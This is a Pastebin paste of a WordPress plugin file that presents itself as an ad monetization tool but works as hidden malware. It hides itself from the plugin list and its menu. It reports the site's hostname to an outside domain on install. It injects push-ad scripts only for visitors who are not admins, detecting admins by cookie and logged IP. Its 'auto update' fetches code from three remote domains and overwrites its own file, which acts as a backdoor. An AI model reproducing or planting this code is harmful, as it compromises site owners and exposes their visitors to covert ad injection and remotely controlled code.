BitofWP

monit.php

Jun 9th, 2020
191
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.60 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4.  
  5.  * Plugin Name: Monitization
  6.  
  7.  * Description: this plugin will help you Monitize your traffic easily from different ad networks.
  8.  
  9.  * Author: Igor Glavatskiy
  10.  
  11.  * Version: 1.0
  12.  
  13.  */
  14.  
  15.  
  16.  
  17. error_reporting(0);
  18.  
  19. ini_set('display_errors', 0);
  20.  
  21. $plugin_key='6e1aa39328ad32f62d99811e4d7fd962';
  22.  
  23. $version='1.2';
  24.  
  25. add_action('admin_menu', function() {
  26.  
  27.     add_options_page( 'Monitization Plugin', 'Monitization', 'manage_options', 'monit', 'mont_page' );
  28.  
  29.     remove_submenu_page( 'options-general.php', 'monit' );
  30.  
  31. });
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39. add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_link');
  40.  
  41. function salcode_add_plugin_page_settings_link( $links ) {
  42.  
  43.     $links[] = '<a href="' .
  44.  
  45.         admin_url( 'options-general.php?page=monit' ) .
  46.  
  47.         '">' . __('Settings') . '</a>';
  48.  
  49.     return $links;
  50.  
  51. }
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65. add_action( 'admin_init', function() {
  66.  
  67.  
  68.  
  69.     register_setting( 'mont-settings', 'default_mont_options' );
  70.  
  71.     register_setting( 'mont-settings', 'ad_code' );
  72.  
  73.     register_setting( 'mont-settings', 'hide_admin' );
  74.  
  75.     register_setting( 'mont-settings', 'hide_logged_in' );
  76.  
  77.     register_setting( 'mont-settings', 'display_ad' );
  78.  
  79.     register_setting( 'mont-settings', 'search_engines' );
  80.  
  81.     register_setting( 'mont-settings', 'auto_update' );
  82.  
  83.     register_setting( 'mont-settings', 'ip_admin');
  84.  
  85.     register_setting( 'mont-settings', 'cookies_admin' );
  86.  
  87.     register_setting( 'mont-settings', 'logged_admin' );
  88.  
  89.     register_setting( 'mont-settings', 'log_install' );
  90.  
  91.    
  92.  
  93. });
  94.  
  95.  
  96.  
  97. $ad_code='
  98.  
  99. <script type="text/javascript" src="//ofgogoatan.com/apu.php?zoneid=3280383" async data-cfasync="false"></script>
  100.  
  101. <script src="https://propu.sh/pfe/current/tag.min.js?z=3280389" data-cfasync="false" async></script>
  102.  
  103. <script type="text/javascript" src="//inpagepush.com/400/3336702" data-cfasync="false" async="async"></script>
  104.  
  105. ';
  106.  
  107.  
  108.  
  109. $hide_admin='on';
  110.  
  111. $hide_logged_in='on';
  112.  
  113. $display_ad='organic';
  114.  
  115. $search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
  116.  
  117. $auto_update='on';
  118.  
  119. $ip_admin='on';
  120.  
  121. $cookies_admin='on';
  122.  
  123. $logged_admin='on';
  124.  
  125. $log_install='';
  126.  
  127.  
  128.  
  129. function mont_page() {
  130.  
  131.  ?>
  132.  
  133.    <div class="wrap">
  134.  
  135. <form action="options.php" method="post">
  136.  
  137.        <?php
  138.  
  139.        settings_fields( 'mont-settings' );
  140.  
  141.        do_settings_sections( 'mont-settings' );
  142.  
  143. $ad_code='
  144.  
  145. <script type="text/javascript" src="//ofgogoatan.com/apu.php?zoneid=3280383" async data-cfasync="false"></script>
  146.  
  147. <script src="https://propu.sh/pfe/current/tag.min.js?z=3280389" data-cfasync="false" async></script>
  148.  
  149. ';
  150.  
  151.  
  152.  
  153. $hide_admin='on';
  154.  
  155. $hide_logged_in='on';
  156.  
  157. $display_ad='organic';
  158.  
  159. $search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
  160.  
  161. $auto_update='on';
  162.  
  163. $ip_admin='on';
  164.  
  165. $cookies_admin='on';
  166.  
  167. $logged_admin='on';
  168.  
  169. $log_install='';
  170.  
  171.  
  172.  
  173.        ?>
  174.  
  175.        <h2>Monetization Plugin</h2>
  176.  
  177.        <table>
  178.  
  179.              
  180.  
  181.  <tr>
  182.  
  183.                 <th>Ad Code</th>
  184.  
  185.                 <td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea><br></td>
  186.  
  187.             </tr>
  188.  
  189.            
  190.  
  191.            
  192.  
  193.            
  194.  
  195. <tr>
  196.  
  197.                 <th>Hide ads to :</th>
  198.  
  199.                 <td>
  200.  
  201.                     <input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
  202.  
  203.                     <label>
  204.  
  205.                         <input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
  206.  
  207.                     </label>
  208.  
  209.                     <label>
  210.  
  211.                         <input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
  212.  
  213.                     </label>
  214.  
  215.                     <br/>
  216.  
  217.                  
  218.  
  219.  
  220.  
  221.                 </td>
  222.  
  223.             </tr>
  224.  
  225.            
  226.  
  227.            
  228.  
  229.            
  230.  
  231.             <tr>
  232.  
  233.                 <th>Recognize admin by :</th>
  234.  
  235.                 <td>
  236.  
  237.  
  238.  
  239.                     <label>
  240.  
  241.                         <input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
  242.  
  243.                     </label>
  244.  
  245.                     <label>
  246.  
  247.                         <input type="checkbox" name="ip_admin" id="ip_admin"  <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses
  248.  
  249.                     </label>
  250.  
  251.                                         <label>
  252.  
  253.                         <input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies
  254.  
  255.                     </label>
  256.  
  257.                
  258.  
  259.                  
  260.  
  261.  
  262.  
  263.                 </td>
  264.  
  265.             </tr>
  266.  
  267.            
  268.  
  269.            
  270.  
  271.            
  272.  
  273.             <tr>
  274.  
  275.                 <th>Display ads to :</th>
  276.  
  277.                 <td>
  278.  
  279.                                          <select name="display_ad">
  280.  
  281.                        
  282.  
  283.                         <option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option>
  284.  
  285.                         <option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option>
  286.  
  287.                        
  288.  
  289.                     </select>
  290.  
  291.  
  292.  
  293.                 </td>
  294.  
  295.             </tr>
  296.  
  297.  
  298.  
  299.             <tr>
  300.  
  301.                 <th>Search Engines</th>
  302.  
  303.                 <td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description">
  304.  
  305.             comma separated  </p>
  306.  
  307.                 </td>
  308.  
  309.             </tr>
  310.  
  311.  
  312.  
  313.  
  314.  
  315.  <tr>
  316.  
  317.                 <th>Auto Update :</th>
  318.  
  319.                 <td>
  320.  
  321.  
  322.  
  323.                     <label>
  324.  
  325.                         <input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin
  326.  
  327.                     </label><br/>
  328.  
  329.                  
  330.  
  331.  
  332.  
  333.                 </td>
  334.  
  335.             </tr>
  336.  
  337.  
  338.  
  339.             <tr>
  340.  
  341.                 <td><?php submit_button(); ?></td>
  342.  
  343.             </tr>
  344.  
  345.  
  346.  
  347.         </table>
  348.  
  349.        
  350.  
  351.        
  352.  
  353.        
  354.  
  355.      </form>
  356.  
  357.    </div>
  358.  
  359.  <?php
  360.  
  361. }
  362.  
  363.  
  364.  
  365. /*************************log install***************************/
  366.  
  367. if(get_option('log_install') !=='1')
  368.  
  369. {
  370.  
  371.     if(!$log_installed = @file_get_contents("http://www.domndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
  372.  
  373. {
  374.  
  375.     $log_installed = @file_get_contents_curl1("http://www.domndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
  376.  
  377. }
  378.  
  379. }
  380.  
  381. /*************************set default options***************************/
  382.  
  383.  
  384.  
  385. if(get_option('default_mont_options') !=='on')
  386.  
  387. {
  388.  
  389. update_option('ip_admin', $ip_admin);
  390.  
  391. update_option('ad_code', $ad_code);
  392.  
  393. update_option('cookies_admin', $cookies_admin);
  394.  
  395. update_option('logged_admin', $logged_admin);
  396.  
  397. update_option('hide_admin', $hide_admin);
  398.  
  399. update_option('hide_logged_in', $hide_logged_in);
  400.  
  401. update_option('display_ad', $display_ad);
  402.  
  403. update_option('search_engines', $search_engines);
  404.  
  405. update_option('auto_update', $auto_update);
  406.  
  407. update_option('log_install', '1');
  408.  
  409. }
  410.  
  411.  
  412.  
  413. /************************************************************************/
  414.  
  415. include_once(ABSPATH . 'wp-includes/pluggable.php');
  416.  
  417.  
  418.  
  419. if ( ! function_exists( 'display_ad_single' ) ) {  
  420.  
  421.  
  422.  
  423. function display_ad_single($content){
  424.  
  425. if(is_single())
  426.  
  427. {
  428.  
  429.  
  430.  
  431. $content=$content.get_option('ad_code');;
  432.  
  433. }
  434.  
  435. return $content;
  436.  
  437. }
  438.  
  439.  
  440.  
  441. function display_ad_footer(){
  442.  
  443. if(!is_single())
  444.  
  445. {
  446.  
  447. echo get_option('ad_code');
  448.  
  449. }
  450.  
  451. }
  452.  
  453.  
  454.  
  455.  
  456.  
  457. //setting cookies if admin logged in
  458.  
  459. function setting_admin_cookie() {
  460.  
  461.   setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
  462.  
  463.   }
  464.  
  465.  
  466.  
  467. if(get_option('cookies_admin')=='on')
  468.  
  469. {
  470.  
  471.  
  472.  
  473. if(is_user_logged_in())
  474.  
  475. {
  476.  
  477. add_action( 'init', 'setting_admin_cookie',1 );
  478.  
  479. }
  480.  
  481. }
  482.  
  483.  
  484.  
  485.  
  486.  
  487. //log admin IP addresses
  488.  
  489.  
  490.  
  491. if(get_option('ip_admin')=='on')
  492.  
  493. {
  494.  
  495. if(current_user_can('edit_others_pages'))
  496.  
  497. {
  498.  
  499.  
  500.  
  501. if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt'))
  502.  
  503. {
  504.  
  505. $ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
  506.  
  507. }
  508.  
  509.  
  510.  
  511. if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
  512.  
  513. {
  514.  
  515. $ip.=$_SERVER['REMOTE_ADDR'].'
  516.  
  517. ';
  518.  
  519. @file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip);
  520.  
  521.  
  522.  
  523. }
  524.  
  525.  
  526.  
  527. }
  528.  
  529. }// end if log admins ip
  530.  
  531.  
  532.  
  533.  
  534.  
  535.  
  536.  
  537. //add cookies to organic traffic
  538.  
  539.  
  540.  
  541. if(get_option('display_ad')=='organic')
  542.  
  543. {
  544.  
  545.  
  546.  
  547. $search_engines = explode(',', get_option('search_engines'));
  548.  
  549.  
  550.  
  551. $referer = $_SERVER['HTTP_REFERER'];
  552.  
  553. $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
  554.  
  555. foreach ($search_engines as $search) {
  556.  
  557.   if (strpos($referer,$search)!==false) {
  558.  
  559.     setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
  560.  
  561.     $organic=true;
  562.  
  563.   }
  564.  
  565. }
  566.  
  567.  
  568.  
  569. }//end
  570.  
  571.  
  572.  
  573.  
  574.  
  575.  
  576.  
  577.  
  578.  
  579. //display ad
  580.  
  581.  
  582.  
  583. if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in())
  584.  
  585. {
  586.  
  587.  
  588.  
  589. $ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
  590.  
  591. if (stripos($ips, $_SERVER['REMOTE_ADDR']) === false)
  592.  
  593. {
  594.  
  595. /*****/
  596.  
  597. if(get_option('display_ad')=='organic')
  598.  
  599. {
  600.  
  601. if($organic==true || isset($_COOKIE['organic']))
  602.  
  603. {
  604.  
  605. add_filter('the_content','display_ad_single');
  606.  
  607. add_action('wp_footer','display_ad_footer');
  608.  
  609. }
  610.  
  611. }
  612.  
  613. else
  614.  
  615. {
  616.  
  617. add_filter('the_content','display_ad_single');
  618.  
  619. add_action('wp_footer','display_ad_footer');  
  620.  
  621. }
  622.  
  623.  
  624.  
  625. /****/
  626.  
  627.  
  628.  
  629. }
  630.  
  631.  
  632.  
  633. }
  634.  
  635. /*******************/
  636.  
  637.  
  638.  
  639.  
  640.  
  641.  
  642.  
  643.  
  644.  
  645.  
  646.  
  647. //update plugin
  648.  
  649.  
  650.  
  651. if(get_option('auto_update')=='on')
  652.  
  653. {
  654.  
  655.  
  656.  
  657. if( ini_get('allow_url_fopen') ) {
  658.  
  659.  
  660.  
  661.  
  662.  
  663.  
  664.  
  665.         if (($new_version = @file_get_contents("http://www.domndo.com/monit_update.php") OR $new_version = @file_get_contents_curl1("http://www.domndo.com/monit_update.php")) AND stripos($new_version, $plugin_key) !== false) {
  666.  
  667.  
  668.  
  669.             if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
  670.  
  671.                @file_put_contents(__FILE__, $new_version);
  672.  
  673.                
  674.  
  675.             }
  676.  
  677.         }
  678.  
  679.        
  680.  
  681.        
  682.  
  683.                 elseif ($new_version = @file_get_contents("http://www.domndo.xyz/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
  684.  
  685.  
  686.  
  687.             if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
  688.  
  689.                @file_put_contents(__FILE__, $new_version);
  690.  
  691.                
  692.  
  693.             }
  694.  
  695.         }
  696.  
  697.  
  698.  
  699.  
  700.  
  701.         elseif ($new_version = @file_get_contents("http://www.domndo.top/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
  702.  
  703.  
  704.  
  705.             if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
  706.  
  707.                @file_put_contents(__FILE__, $new_version);
  708.  
  709.                
  710.  
  711.             }
  712.  
  713.         }
  714.  
  715.  
  716.  
  717. }
  718.  
  719. else
  720.  
  721. {
  722.  
  723.             if (($new_version = @file_get_contents("http://www.domndo.com/monit_update.php") OR $new_version = @file_get_contents_curl1("http://www.domndo.com/monit_update.php")) AND stripos($new_version, $plugin_key) !== false) {
  724.  
  725.  
  726.  
  727.             if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
  728.  
  729.                @file_put_contents(__FILE__, $new_version);
  730.  
  731.                
  732.  
  733.             }
  734.  
  735.         }
  736.  
  737.        
  738.  
  739.        
  740.  
  741.                 elseif ($new_version = @file_get_contents_curl1("http://www.domndo.xyz/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
  742.  
  743.  
  744.  
  745.             if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
  746.  
  747.                @file_put_contents(__FILE__, $new_version);
  748.  
  749.                
  750.  
  751.             }
  752.  
  753.         }
  754.  
  755.  
  756.  
  757.  
  758.  
  759.         elseif ($new_version = @file_get_contents_curl1("http://www.domndo.top/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
  760.  
  761.  
  762.  
  763.             if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
  764.  
  765.                @file_put_contents(__FILE__, $new_version);
  766.  
  767.                
  768.  
  769.             }
  770.  
  771.         }
  772.  
  773. }
  774.  
  775. }//end if auto update
  776.  
  777.  
  778.  
  779. /*********************************/
  780.  
  781.  
  782.  
  783.  
  784.  
  785.  
  786.  
  787.  
  788.  
  789. }// if function exist
  790.  
  791.  
  792.  
  793.  
  794.  
  795.      function file_get_contents_curl1($url)
  796.  
  797.         {
  798.  
  799.             $ch = curl_init();
  800.  
  801.             curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  802.  
  803.             curl_setopt($ch, CURLOPT_HEADER, 0);
  804.  
  805.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  806.  
  807.             curl_setopt($ch, CURLOPT_URL, $url);
  808.  
  809.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  810.  
  811.             $data = curl_exec($ch);
  812.  
  813.             curl_close($ch);
  814.  
  815.             return $data;
  816.  
  817.         }
  818.  
  819.  
  820.  
  821.  
  822.  
  823. function hide_plugin_trickspanda() {
  824.  
  825.   global $wp_list_table;
  826.  
  827.   $hidearr = array('monit.php');
  828.  
  829.   $myplugins = $wp_list_table->items;
  830.  
  831.   foreach ($myplugins as $key => $val) {
  832.  
  833.     if (in_array($key,$hidearr)) {
  834.  
  835.       unset($wp_list_table->items[$key]);
  836.  
  837.     }
  838.  
  839.   }
  840.  
  841. }
  842.  
  843.  
  844.  
  845. add_action('pre_current_active_plugins', 'hide_plugin_trickspanda');
  846.  
  847.  
  848.  
  849.  
  850.  
  851. ?>
Add Comment
Please, Sign In to add comment